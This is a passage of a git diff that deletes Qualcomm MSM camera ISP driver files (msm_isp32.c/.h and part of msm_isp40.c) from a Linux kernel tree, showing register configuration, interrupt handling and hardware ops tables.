uint32_t pingpong_status, dma_addr_t paddr) -{ - uint32_t paddr32 = (paddr & 0xFFFFFFFF); - msm_camera_io_w(paddr32, vfe_dev->vfe_base + - VFE32_PING_PONG_BASE(wm_idx, pingpong_status)); -} - -static long msm_vfe32_axi_halt(struct vfe_device *vfe_dev, - uint32_t blocking) -{ - uint32_t halt_mask; - uint32_t axi_busy_flag = false; - msm_camera_io_w_mb(0x1, vfe_dev->vfe_base + 0x1D8); - if (blocking) { - axi_busy_flag = true; - } - while (axi_busy_flag) { - if (msm_camera_io_r( - vfe_dev->vfe_base + 0x1DC) & 0x1) - axi_busy_flag = false; - } - msm_camera_io_w_mb(0, vfe_dev->vfe_base + 0x1D8); - halt_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x20); - halt_mask &= 0xFEFFFFFF; - /* Disable AXI IRQ */ - msm_camera_io_w_mb(halt_mask, vfe_dev->vfe_base + 0x20); - return 0; -} - -static uint32_t msm_vfe32_get_wm_mask( - uint32_t irq_status0, uint32_t irq_status1) -{ - return (irq_status0 >> 6) & 0x7F; -} - -static uint32_t msm_vfe32_get_comp_mask( - uint32_t irq_status0, uint32_t irq_status1) -{ - return (irq_status0 >> 21) & 0x7; -} - -static uint32_t msm_vfe32_get_pingpong_status(struct vfe_device *vfe_dev) -{ - return msm_camera_io_r(vfe_dev->vfe_base + 0x180); -} - -static int msm_vfe32_get_stats_idx(enum msm_isp_stats_type stats_type) -{ - switch (stats_type) { - case MSM_ISP_STATS_AEC: - case MSM_ISP_STATS_BG: - return 0; - case MSM_ISP_STATS_AF: - case MSM_ISP_STATS_BF: - return 1; - case MSM_ISP_STATS_AWB: - return 2; - case MSM_ISP_STATS_RS: - return 3; - case MSM_ISP_STATS_CS: - return 4; - case MSM_ISP_STATS_IHIST: - return 5; - case MSM_ISP_STATS_SKIN: - case MSM_ISP_STATS_BHIST: - return 6; - default: - pr_err("%s: Invalid stats type\n", __func__); - return -EINVAL; - } -} - -static int msm_vfe32_stats_check_streams( - struct msm_vfe_stats_stream *stream_info) -{ - return 0; -} - -static void msm_vfe32_stats_cfg_comp_mask(struct vfe_device *vfe_dev, - uint32_t stats_mask, uint8_t enable) -{ - return; -} - -static void msm_vfe32_stats_cfg_wm_irq_mask(struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info) -{ - uint32_t irq_mask; - irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x1C); - irq_mask |= BIT(STATS_IDX(stream_info->stream_handle) + 13); - msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x1C); - return; -} - -static void msm_vfe32_stats_clear_wm_irq_mask(struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info) -{ - uint32_t irq_mask; - irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x1C); - irq_mask &= ~(BIT(STATS_IDX(stream_info->stream_handle) + 13)); - msm_camera_io_w(irq_mask, vfe_dev->vfe_base + 0x1C); - return; -} - -static void msm_vfe32_stats_cfg_wm_reg(struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info) -{ - /*Nothing to configure for VFE3.x*/ - return; -} - -static void msm_vfe32_stats_clear_wm_reg(struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info) -{ - /*Nothing to configure for VFE3.x*/ - return; -} - -static void msm_vfe32_stats_cfg_ub(struct vfe_device *vfe_dev) -{ - int i; - uint32_t ub_offset = VFE32_UB_SIZE; - uint32_t ub_size[VFE32_NUM_STATS_TYPE] = { - 107, /*MSM_ISP_STATS_BG*/ - 92, /*MSM_ISP_STATS_BF*/ - 2, /*MSM_ISP_STATS_AWB*/ - 7, /*MSM_ISP_STATS_RS*/ - 16, /*MSM_ISP_STATS_CS*/ - 2, /*MSM_ISP_STATS_IHIST*/ - 7, /*MSM_ISP_STATS_BHIST*/ - }; - - for (i = 0; i < VFE32_NUM_STATS_TYPE; i++) { - ub_offset -= ub_size[i]; - msm_camera_io_w(ub_offset << 16 | (ub_size[i] - 1), - vfe_dev->vfe_base + VFE32_STATS_BASE(i) + 0x8); - } - return; -} - -static void msm_vfe32_stats_enable_module(struct vfe_device *vfe_dev, - uint32_t stats_mask, uint8_t enable) -{ - int i; - uint32_t module_cfg, module_cfg_mask = 0; - - for (i = 0; i < VFE32_NUM_STATS_TYPE; i++) { - if ((stats_mask >> i) & 0x1) { - switch (i) { - case 0: - case 1: - case 2: - case 3: - case 4: - module_cfg_mask |= 1 << (5 + i); - break; - case 5: - module_cfg_mask |= 1 << 16; - break; - case 6: - module_cfg_mask |= 1 << 19; - break; - default: - pr_err("%s: Invalid stats mask\n", __func__); - return; - } - } - } - - module_cfg = msm_camera_io_r(vfe_dev->vfe_base + 0x10); - if (enable) - module_cfg |= module_cfg_mask; - else - module_cfg &= ~module_cfg_mask; - msm_camera_io_w(module_cfg, vfe_dev->vfe_base + 0x10); -} - -static void msm_vfe32_stats_update_ping_pong_addr(struct vfe_device *vfe_dev, - struct msm_vfe_stats_stream *stream_info, uint32_t pingpong_status, - dma_addr_t paddr) -{ - uint32_t paddr32 = (paddr & 0xFFFFFFFF); - int stats_idx = STATS_IDX(stream_info->stream_handle); - msm_camera_io_w(paddr32, vfe_dev->vfe_base + - VFE32_STATS_PING_PONG_BASE(stats_idx, pingpong_status)); -} - -static uint32_t msm_vfe32_stats_get_wm_mask(uint32_t irq_status0, - uint32_t irq_status1) -{ - return (irq_status0 >> 13) & 0x7F; -} - -static void msm_vfe32_get_overflow_mask(uint32_t *overflow_mask) -{ - *overflow_mask = 0x002FFF7E; -} - -static void msm_vfe32_get_irq_mask(struct vfe_device *vfe_dev, - uint32_t *irq0_mask, uint32_t *irq1_mask) -{ - *irq0_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x1C); - *irq1_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x20); -} - -static int msm_vfe32_get_reg_update(uint32_t irq0_status, - uint32_t irq1_status) -{ - int rc = 0; - if ((irq0_status & 0x20) || (irq1_status & 0x1C000000)) - rc = 1; - return rc; -} - -static void msm_vfe32_restore_irq_mask(struct vfe_device *vfe_dev) -{ - msm_camera_io_w(vfe_dev->error_info.overflow_recover_irq_mask0, - vfe_dev->vfe_base + 0x1C); - msm_camera_io_w(vfe_dev->error_info.overflow_recover_irq_mask1, - vfe_dev->vfe_base + 0x20); -} - -static void msm_vfe32_get_halt_restart_mask(uint32_t *irq0_mask, - uint32_t *irq1_mask) -{ - *irq0_mask = 0x0; - *irq1_mask = 0x01800000; -} - -static uint32_t msm_vfe32_stats_get_comp_mask(uint32_t irq_status0, - uint32_t irq_status1) -{ - return (irq_status0 >> 24) & 0x1; -} - -static uint32_t msm_vfe32_stats_get_frame_id(struct vfe_device *vfe_dev) -{ - uint32_t session_id = 0; - session_id = vfe_dev->axi_data.src_info[VFE_PIX_0].session_id; - return vfe_dev->axi_data.frame_id[session_id]; -} - -static int msm_vfe32_get_platform_data(struct vfe_device *vfe_dev) -{ - int rc = 0; - vfe_dev->vfe_mem = platform_get_resource_byname(vfe_dev->pdev, - IORESOURCE_MEM, "vfe"); - if (!vfe_dev->vfe_mem) { - pr_err("%s: no mem resource?\n", __func__); - rc = -ENODEV; - goto vfe_no_resource; - } - - vfe_dev->vfe_irq = platform_get_resource_byname(vfe_dev->pdev, - IORESOURCE_IRQ, "vfe"); - if (!vfe_dev->vfe_irq) { - pr_err("%s: no irq resource?\n", __func__); - rc = -ENODEV; - goto vfe_no_resource; - } - - vfe_dev->fs_vfe = regulator_get(&vfe_dev->pdev->dev, "vdd"); - if (IS_ERR(vfe_dev->fs_vfe)) { - pr_err("%s: Regulator get failed %ld\n", __func__, - PTR_ERR(vfe_dev->fs_vfe)); - vfe_dev->fs_vfe = NULL; - rc = -ENODEV; - goto vfe_no_resource; - } - - if (!vfe_dev->pdev->dev.of_node) - vfe_dev->iommu_ctx[0] = msm_iommu_get_ctx("vfe_imgwr"); - else - vfe_dev->iommu_ctx[0] = msm_iommu_get_ctx("vfe0"); - - if (!vfe_dev->iommu_ctx[0]) { - pr_err("%s: no iommux ctx resource?\n", __func__); - rc = -ENODEV; - goto vfe_no_resource; - } - - if (!vfe_dev->pdev->dev.of_node) - vfe_dev->iommu_ctx[1] = msm_iommu_get_ctx("vfe_misc"); - else - vfe_dev->iommu_ctx[1] = msm_iommu_get_ctx("vfe0"); - - if (!vfe_dev->iommu_ctx[1]) { - pr_err("%s: no iommux ctx resource?\n", __func__); - rc = -ENODEV; - goto vfe_no_resource; - } - -vfe_no_resource: - return rc; -} - -static void msm_vfe32_get_error_mask(uint32_t *error_mask0, - uint32_t *error_mask1) -{ - *error_mask0 = 0x00000000; - *error_mask1 = 0x007FFFFF; -} - -struct msm_vfe_axi_hardware_info msm_vfe32_axi_hw_info = { - .num_wm = 5, - .num_comp_mask = 3, - .num_rdi = 3, - .num_rdi_master = 3, - .min_wm_ub = 64, -}; - -static struct msm_vfe_stats_hardware_info msm_vfe32_stats_hw_info = { - .stats_capability_mask = - 1 << MSM_ISP_STATS_AEC | 1 << MSM_ISP_STATS_BG | - 1 << MSM_ISP_STATS_AF | 1 << MSM_ISP_STATS_BF | - 1 << MSM_ISP_STATS_AWB | 1 << MSM_ISP_STATS_IHIST | - 1 << MSM_ISP_STATS_RS | 1 << MSM_ISP_STATS_CS | - 1 << MSM_ISP_STATS_SKIN | 1 << MSM_ISP_STATS_BHIST, - .stats_ping_pong_offset = stats_pingpong_offset_map, - .num_stats_type = VFE32_NUM_STATS_TYPE, - .num_stats_comp_mask = 0, -}; - -static struct v4l2_subdev_core_ops msm_vfe32_subdev_core_ops = { - .ioctl = msm_isp_ioctl, - .subscribe_event = msm_isp_subscribe_event, - .unsubscribe_event = msm_isp_unsubscribe_event, -}; - -static struct v4l2_subdev_ops msm_vfe32_subdev_ops = { - .core = &msm_vfe32_subdev_core_ops, -}; - -static struct v4l2_subdev_internal_ops msm_vfe32_internal_ops = { - .open = msm_isp_open_node, - .close = msm_isp_close_node, -}; - -struct msm_vfe_hardware_info vfe32_hw_info = { - .num_iommu_ctx = 2, - .vfe_clk_idx = VFE32_CLK_IDX, - .vfe_ops = { - .irq_ops = { - .read_irq_status = msm_vfe32_read_irq_status, - .process_camif_irq = msm_vfe32_process_camif_irq, - .process_reset_irq = msm_vfe32_process_reset_irq, - .process_halt_irq = msm_vfe32_process_halt_irq, - .process_reg_update = msm_vfe32_process_reg_update, - .process_axi_irq = msm_isp_process_axi_irq, - .process_stats_irq = msm_isp_process_stats_irq, - }, - .axi_ops = { - .reload_wm = msm_vfe32_axi_reload_wm, - .enable_wm = msm_vfe32_axi_enable_wm, - .cfg_io_format = msm_vfe32_cfg_io_format, - .cfg_comp_mask = msm_vfe32_axi_cfg_comp_mask, - .clear_comp_mask = msm_vfe32_axi_clear_comp_mask, - .cfg_wm_irq_mask = msm_vfe32_axi_cfg_wm_irq_mask, - .clear_wm_irq_mask = msm_vfe32_axi_clear_wm_irq_mask, - .cfg_framedrop = msm_vfe32_cfg_framedrop, - .clear_framedrop = msm_vfe32_clear_framedrop, - .cfg_wm_reg = msm_vfe32_axi_cfg_wm_reg, - .clear_wm_reg = msm_vfe32_axi_clear_wm_reg, - .cfg_wm_xbar_reg = msm_vfe32_axi_cfg_wm_xbar_reg, - .clear_wm_xbar_reg = msm_vfe32_axi_clear_wm_xbar_reg, - .cfg_ub = msm_vfe32_cfg_axi_ub, - .update_ping_pong_addr = - msm_vfe32_update_ping_pong_addr, - .get_comp_mask = msm_vfe32_get_comp_mask, - .get_wm_mask = msm_vfe32_get_wm_mask, - .get_pingpong_status = msm_vfe32_get_pingpong_status, - .halt = msm_vfe32_axi_halt, - }, - .core_ops = { - .reg_update = msm_vfe32_reg_update, - .cfg_camif = msm_vfe32_cfg_camif, - .update_camif_state = msm_vfe32_update_camif_state, - .cfg_rdi_reg = msm_vfe32_cfg_rdi_reg, - .reset_hw = msm_vfe32_reset_hardware, - .init_hw = msm_vfe32_init_hardware, - .init_hw_reg = msm_vfe32_init_hardware_reg, - .release_hw = msm_vfe32_release_hardware, - .get_platform_data = msm_vfe32_get_platform_data, - .get_error_mask = msm_vfe32_get_error_mask, - .get_overflow_mask = msm_vfe32_get_overflow_mask, - .get_irq_mask = msm_vfe32_get_irq_mask, - .restore_irq_mask = msm_vfe32_restore_irq_mask, - .get_halt_restart_mask = - msm_vfe32_get_halt_restart_mask, - .process_error_status = msm_vfe32_process_error_status, - .get_regupdate_status = msm_vfe32_get_reg_update, - }, - .stats_ops = { - .get_stats_idx = msm_vfe32_get_stats_idx, - .check_streams = msm_vfe32_stats_check_streams, - .cfg_comp_mask = msm_vfe32_stats_cfg_comp_mask, - .cfg_wm_irq_mask = msm_vfe32_stats_cfg_wm_irq_mask, - .clear_wm_irq_mask = msm_vfe32_stats_clear_wm_irq_mask, - .cfg_wm_reg = msm_vfe32_stats_cfg_wm_reg, - .clear_wm_reg = msm_vfe32_stats_clear_wm_reg, - .cfg_ub = msm_vfe32_stats_cfg_ub, - .enable_module = msm_vfe32_stats_enable_module, - .update_ping_pong_addr = - msm_vfe32_stats_update_ping_pong_addr, - .get_comp_mask = msm_vfe32_stats_get_comp_mask, - .get_wm_mask = msm_vfe32_stats_get_wm_mask, - .get_frame_id = msm_vfe32_stats_get_frame_id, - .get_pingpong_status = msm_vfe32_get_pingpong_status, - }, - }, - .dmi_reg_offset = 0x5A0, - .axi_hw_info = &msm_vfe32_axi_hw_info, - .stats_hw_info = &msm_vfe32_stats_hw_info, - .subdev_ops = &msm_vfe32_subdev_ops, - .subdev_internal_ops = &msm_vfe32_internal_ops, -}; -EXPORT_SYMBOL(vfe32_hw_info); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp32.h b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp32.h deleted file mode 100644 index 05350486271db..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp32.h +++ /dev/null @@ -1,17 +0,0 @@ -/* Copyright (c) 2013, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef __MSM_ISP32_H__ -#define __MSM_ISP32_H__ - -extern struct msm_vfe_hardware_info vfe32_hw_info; -#endif /* __MSM_ISP32_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp40.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp40.c deleted file mode 100644 index 47d0f8bbfda28..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp40.c +++ /dev/null @@ -1,1826 +0,0 @@ -/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#include -#include -#include -#include -#include "msm_isp40.h" -#include "msm_isp_util.h" -#include "msm_isp_axi_util.h" -#include "msm_isp_stats_util.h" -#include "msm_isp.h" -#include "msm.h" -#include "msm_camera_io_util.h" - -/*#define CONFIG_MSM_ISP_DBG*/ -#undef CDBG -#ifdef CONFIG_MSM_ISP_DBG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif - -/* STATS_SIZE (BE + BG + BF+ RS + CS + IHIST + BHIST ) = 392 */ -#define VFE40_STATS_SIZE 392 -#define VFE40_WM_BASE(idx) (0x6C + 0x24 * idx) -#define VFE40_RDI_BASE(idx) (0x2E8 + 0x4 * idx) -#define VFE40_XBAR_BASE(idx) (0x58 + 0x4 * (idx / 2)) -#define VFE40_XBAR_SHIFT(idx) ((idx%2) ? 16 : 0) -#define VFE40_PING_PONG_BASE(wm, ping_pong) \ - (VFE40_WM_BASE(wm) + 0x4 * (1 + (~(ping_pong >> wm) & 0x1))) - -static uint8_t stats_pingpong_offset_map[] = { - 8, 9, 10, 11, 12, 13, 14, 15}; - -#define VFE40_NUM_STATS_TYPE 8 -#define VFE40_STATS_BASE(idx) (0x168 + 0x18 * idx) -#define VFE40_STATS_PING_PONG_BASE(idx, ping_pong) \ - (VFE40_STATS_BASE(idx) + 0x4 * \ - (~(ping_pong >> (stats_pingpong_offset_map[idx])) & 0x1)) - -#define VFE40_VBIF_CLKON 0x4 -#define VFE40_VBIF_IN_RD_LIM_CONF0 0xB0 -#define VFE40_VBIF_IN_RD_LIM_CONF1 0xB4 -#define VFE40_VBIF_IN_RD_LIM_CONF2 0xB8 -#define VFE40_VBIF_IN_WR_LIM_CONF0 0xC0 -#define VFE40_VBIF_IN_WR_LIM_CONF1 0xC4 -#define VFE40_VBIF_IN_WR_LIM_CONF2 0xC8 -#define VFE40_VBIF_OUT_RD_LIM_CONF0 0xD0 -#define VFE40_VBIF_OUT_WR_LIM_CONF0 0xD4 -#define VFE40_VBIF_DDR_OUT_MAX_BURST 0xD8 -#define VFE40_VBIF_OCMEM_OUT_MAX_BURST 0xDC -#define VFE40_VBIF_ARB_CTL 0xF0 -#define VFE40_VBIF_ROUND_ROBIN_QOS_ARB 0x124 -#define VFE40_VBIF_OUT_AXI_AMEMTYPE_CONF0 0x160 -#define VFE40_VBIF_OUT_AXI_AMEMTYPE_CONF1 0x164 -#define VFE40_VBIF_OUT_AXI_AOOO_EN 0x178 -#define VFE40_VBIF_OUT_AXI_AOOO 0x17C - -#define VFE40_BUS_BDG_QOS_CFG_0 0x000002C4 -#define VFE40_BUS_BDG_QOS_CFG_1 0x000002C8 -#define VFE40_BUS_BDG_QOS_CFG_2 0x000002CC -#define VFE40_BUS_BDG_QOS_CFG_3 0x000002D0 -#define VFE40_BUS_BDG_QOS_CFG_4 0x000002D4 -#define VFE40_BUS_BDG_QOS_CFG_5 0x000002D8 -#define VFE40_BUS_BDG_QOS_CFG_6 0x000002DC -#define VFE40_BUS_BDG_QOS_CFG_7 0x000002E0 - -#define VFE40_CLK_IDX 1 -/*Iterations for averaging outstanding writes counts*/ -#define MAX_NUM_FRAMES 10 -/* Maximum outstanding writes to avoid image master bus -overflows*/ -#define MAX_OUT_WRITES_LEVEL 4000000 - -static struct msm_cam_clk_info msm_vfe40_clk_info[VFE_CLK_INFO_MAX]; - -static int32_t msm_vfe40_init_qos_parms(struct vfe_device *vfe_dev, - struct msm_vfe_hw_init_parms *qos_parms, - struct msm_vfe_hw_init_parms *ds_parms) -{ - void __iomem *vfebase = vfe_dev->vfe_base; - struct device_node *of_node; - uint32_t *ds_settings = NULL, *ds_regs = NULL, ds_entries = 0; - int32_t i = 0 , rc = 0; - uint32_t *qos_settings = NULL, *qos_regs = NULL, qos_entries = 0; - of_node = vfe_dev->pdev->dev.of_node; - - rc = of_property_read_u32(of_node, qos_parms->entries, - &qos_entries); - if (rc < 0 || !qos_entries) { - pr_err("%s: NO QOS entries found\n", __func__); - } else { - qos_settings = kzalloc(sizeof(uint32_t) * qos_entries, - GFP_KERNEL); - if (!qos_settings) { - pr_err("%s:%d No memory\n", __func__, __LINE__); - return -ENOMEM; - } - qos_regs = kzalloc(sizeof(uint32_t) * qos_entries, - GFP_KERNEL); - if (!qos_regs) { - pr_err("%s:%d No memory\n", __func__, __LINE__); - kfree(qos_settings); - return -ENOMEM; - } - rc = of_property_read_u32_array(of_node, qos_parms->regs, - qos_regs, qos_entries); - if (rc < 0) { - pr_err("%s: NO QOS BUS BDG info\n", __func__); - kfree(qos_settings); - kfree(qos_regs); - } else { - if (qos_parms->settings) { - rc = of_property_read_u32_array(of_node, - qos_parms->settings, - qos_settings, qos_entries); - if (rc < 0) { - pr_err("%s: NO QOS settings\n", - __func__); - kfree(qos_settings); - kfree(qos_regs); - } else { - for (i = 0; i < qos_entries; i++) - msm_camera_io_w(qos_settings[i], - vfebase + qos_regs[i]); - kfree(qos_settings); - kfree(qos_regs); - } - } else { - kfree(qos_settings); - kfree(qos_regs); - } - } - } - rc = of_property_read_u32(of_node, ds_parms->entries, - &ds_entries); - if (rc < 0 || !ds_entries) { - pr_err("%s: NO D/S entries found\n", __func__); - } else { - ds_settings = kzalloc(sizeof(uint32_t) * ds_entries, - GFP_KERNEL); - if (!ds_settings) { - pr_err("%s:%d No memory\n", __func__, __LINE__); - return -ENOMEM; - } - ds_regs = kzalloc(sizeof(uint32_t) * ds_entries, - GFP_KERNEL); - if (!ds_regs) { - pr_err("%s:%d No memory\n", __func__, __LINE__); - kfree(ds_settings); - return -ENOMEM; - } - rc = of_property_read_u32_array(of_node, ds_parms->regs, - ds_regs, ds_entries); - if (rc < 0) { - pr_err("%s: NO D/S register info\n", __func__); - kfree(ds_settings); - kfree(ds_regs); - } else { - if (ds_parms->settings) { - rc = of_property_read_u32_array(of_node, - ds_parms->settings, ds_settings, - ds_entries); - if (rc < 0) { - pr_err("%s: NO D/S settings\n", - __func__); - kfree(ds_settings); - kfree(ds_regs); - } else { - for (i = 0; i < ds_entries; i++) - msm_camera_io_w(ds_settings[i], - vfebase + ds_regs[i]); - kfree(ds_regs); - kfree(ds_settings); - } - } else { - kfree(ds_regs); - kfree(ds_settings); - } - } - } - return 0; -} - -static int32_t msm_vfe40_init_vbif_parms(struct vfe_device *vfe_dev, - struct msm_vfe_hw_init_parms *vbif_parms) -{ - void __iomem *vfe_vbif_base = vfe_dev->vfe_vbif_base; - struct device_node *of_node; - int32_t i = 0 , rc = 0; - uint32_t *vbif_settings = NULL, *vbif_regs = NULL, vbif_entries = 0; - of_node = vfe_dev->pdev->dev.of_node; - - rc = of_property_read_u32(of_node, vbif_parms->entries, - &vbif_entries); - if (rc < 0 || !vbif_entries) { - pr_err("%s: NO VBIF entries found\n", __func__); - } else { - vbif_settings = kzalloc(sizeof(uint32_t) * vbif_entries, - GFP_KERNEL); - if (!vbif_settings) { - pr_err("%s:%d No memory\n", __func__, __LINE__); - return -ENOMEM; - } - vbif_regs = kzalloc(sizeof(uint32_t) * vbif_entries, - GFP_KERNEL); - if (!vbif_regs) { - pr_err("%s:%d No memory\n", __func__, __LINE__); - kfree(vbif_settings); - return -ENOMEM; - } - rc = of_property_read_u32_array(of_node, vbif_parms->regs, - vbif_regs, vbif_entries); - if (rc < 0) { - pr_err("%s: NO VBIF info\n", __func__); - kfree(vbif_settings); - kfree(vbif_regs); - } else { - rc = of_property_read_u32_array(of_node, - vbif_parms->settings, - vbif_settings, vbif_entries); - if (rc < 0) { - pr_err("%s: NO VBIF settings\n", - __func__); - kfree(vbif_settings); - kfree(vbif_regs); - } else { - for (i = 0; i < vbif_entries; i++) - msm_camera_io_w( - vbif_settings[i], - vfe_vbif_base + vbif_regs[i]); - kfree(vbif_settings); - kfree(vbif_regs); - } - } - } - return 0; -} - -static int msm_vfe40_init_hardware(struct vfe_device *vfe_dev) -{ - int rc = -1; - rc = msm_isp_init_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); - if (rc < 0) { - pr_err("%s: Bandwidth registration Failed!\n", __func__); - goto bus_scale_register_failed; - } - - if (vfe_dev->fs_vfe) { - rc = regulator_enable(vfe_dev->fs_vfe); - if (rc) { - pr_err("%s: Regulator enable failed\n", __func__); - goto fs_failed; - } - } - - rc = msm_isp_get_clk_info(vfe_dev, vfe_dev->pdev, - &msm_vfe40_clk_info[0]); - if (rc < 0) { - pr_err("msm_isp_get_clk_info() failed\n"); - goto fs_failed; - } - if (vfe_dev->num_clk <= 0) { - pr_err("%s: Invalid num of clock\n", __func__); - goto fs_failed; - } else { - vfe_dev->vfe_clk = - kzalloc(sizeof(struct clk *) * vfe_dev->num_clk, - GFP_KERNEL); - if (!vfe_dev->vfe_clk) { - pr_err("%s:%d No memory\n", __func__, __LINE__); - return -ENOMEM; - } - } - rc = msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe40_clk_info, - vfe_dev->vfe_clk, vfe_dev->num_clk, 1); - if (rc < 0) - goto clk_enable_failed; - - vfe_dev->vfe_base = ioremap(vfe_dev->vfe_mem->start, - resource_size(vfe_dev->vfe_mem)); - if (!vfe_dev->vfe_base) { - rc = -ENOMEM; - pr_err("%s: vfe ioremap failed\n", __func__); - goto vfe_remap_failed; - } - - vfe_dev->vfe_vbif_base = ioremap(vfe_dev->vfe_vbif_mem->start, - resource_size(vfe_dev->vfe_vbif_mem)); - if (!vfe_dev->vfe_vbif_base) { - rc = -ENOMEM; - pr_err("%s: vfe ioremap failed\n", __func__); - goto vbif_remap_failed; - } - - rc = request_irq(vfe_dev->vfe_irq->start, msm_isp_process_irq, - IRQF_TRIGGER_RISING, "vfe", vfe_dev); - if (rc < 0) { - pr_err("%s: irq request failed\n", __func__); - goto irq_req_failed; - } - return rc; -irq_req_failed: - iounmap(vfe_dev->vfe_vbif_base); -vbif_remap_failed: - iounmap(vfe_dev->vfe_base); -vfe_remap_failed: - msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe40_clk_info, - vfe_dev->vfe_clk, vfe_dev->num_clk, 0); -clk_enable_failed: - if (vfe_dev->fs_vfe) - regulator_disable(vfe_dev->fs_vfe); - kfree(vfe_dev->vfe_clk); -fs_failed: - msm_isp_deinit_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); -bus_scale_register_failed: - return rc; -} - -static void msm_vfe40_release_hardware(struct vfe_device *vfe_dev) -{ - free_irq(vfe_dev->vfe_irq->start, vfe_dev); - tasklet_kill(&vfe_dev->vfe_tasklet); - iounmap(vfe_dev->vfe_vbif_base); - iounmap(vfe_dev->vfe_base); - msm_cam_clk_enable(&vfe_dev->pdev->dev, msm_vfe40_clk_info, - vfe_dev->vfe_clk, vfe_dev->num_clk, 0); - kfree(vfe_dev->vfe_clk); - regulator_disable(vfe_dev->fs_vfe); - msm_isp_deinit_bandwidth_mgr(ISP_VFE0 + vfe_dev->pdev->id); -} - -static void msm_vfe40_init_hardware_reg(struct vfe_device *vfe_dev) -{ - - struct msm_vfe_hw_init_parms qos_parms; - struct msm_vfe_hw_init_parms vbif_parms; - struct msm_vfe_hw_init_parms ds_parms; - uint32_t irq_mask; - irq_mask = msm_camera_io_r(vfe_dev->vfe_base + 0x28); - - qos_parms.entries = "qos-entries"; - qos_parms.regs = "qos-regs"; - qos_parms.settings = "qos-settings"; - vbif_parms.entries = "vbif-entries"; - vbif_parms.regs = "vbif-regs"; - vbif_parms.settings = "vbif-settings"; - ds_parms.entries = "ds-entries"; - ds_parms.regs = "ds-regs"; - ds_parms.settings = "ds-settings"; - - switch (vfe_dev->vfe_hw_version) { - case VFE40_8974V1_VERSION: - case VFE40_8x26_VERSION: - case VFE40_8916_VERSION: - case VFE40_8939_VERSION: - break; - case VFE40_8x26V2_VERSION: - qos_parms.settings = "qos-v2-settings"; - break; - case VFE40_8974V2_VERSION: - case VFE40_8974V3_VERSION: - if (vfe_dev->vfe_hw_version == VFE40_8974V2_VERSION) - qos_parms.settings = "qos-v2-settings"; - else - qos_parms.settings = "qos-v3-settings"; - vbif_parms.entries = "vbif-v2-entries"; - vbif_parms.regs = "vbif-v2-regs"; - vbif_parms.settings = "vbif-v2-settings"; - break; - default: - pr_err("%s: QOS and VBIF is NOT configured for HW Version %x\n", - __func__, vfe_dev->vfe_hw_version); - } - - msm_vfe40_init_qos_parms(vfe_dev, &qos_parms, &ds_parms); - msm_vfe40_init_vbif_parms(vfe_dev, &vbif_parms); - - /* CGC_OVERRIDE */ - msm_camera_io_w(0x3FFFFFFF, vfe_dev->vfe_base + 0x14); - msm_camera_io_w(0xC001FF7F, vfe_dev->vfe_base + 0x974); - /* BUS_CFG */ - msm_camera_io_w(0x10000001, vfe_dev->vfe_base + 0x50); - msm_camera_io_w(0xE00000FB, vfe_dev->vfe_base + 0x28); - msm_camera_io_w_mb(0xFEFFFFFF, vfe_dev->vfe_base + 0x2C); - msm_camera_io_w(0xFFFFFFFF, vfe_dev->vfe_base + 0x30); - msm_camera_io_w_mb(0xFEFFFFFF, vfe_dev->vfe_base + 0x34); - msm_camera_io_w(0x64, vfe_dev->vfe_base + 0x318); - msm_camera_io_w(vfe_dev->stats_data.stats_mask, - vfe_dev->vfe_base + 0x44); - -} - -static void msm_vfe40_process_reset_irq(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1) -{ - if (irq_status0 & (1 << 31)) - complete(&vfe_dev->reset_complete); -} - -static void msm_vfe40_process_halt_irq(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1) -{ - if (irq_status1 & (1 << 8)) - complete(&vfe_dev->halt_complete); -} - -static void msm_vfe40_process_camif_irq(struct vfe_device *vfe_dev, - uint32_t irq_status0, uint32_t irq_status1, - struct msm_isp_timestamp *ts) -{ - int cnt; - - if (!(irq_status0 & 0xF)) - return; - - if (irq_status0 & (1 << 0)) { - ISP_DBG("%s: SOF IRQ\n", __func__); - vfe_dev->hw_info->vfe_ops.core_ops.vbif_clear_counters(vfe_dev); - cnt = vfe_dev->axi_data.src_info[VFE_PIX_0].raw_stream_count; - if (cnt > 0) { - msm_isp_sof_notify(vfe_dev, VFE_PIX_0, ts); - if (vfe_dev->axi_data.stream_update) - msm_isp_axi_stream_update(vfe_dev); - msm_isp_update_framedrop_reg(vfe_dev); - } - } - if (irq_status0 & (1 << 1)) - ISP_DBG("%s: EOF IRQ\n", __func__); - if (irq_status0 & (1 << 2)) - ISP_DBG("%s: EPOCH0 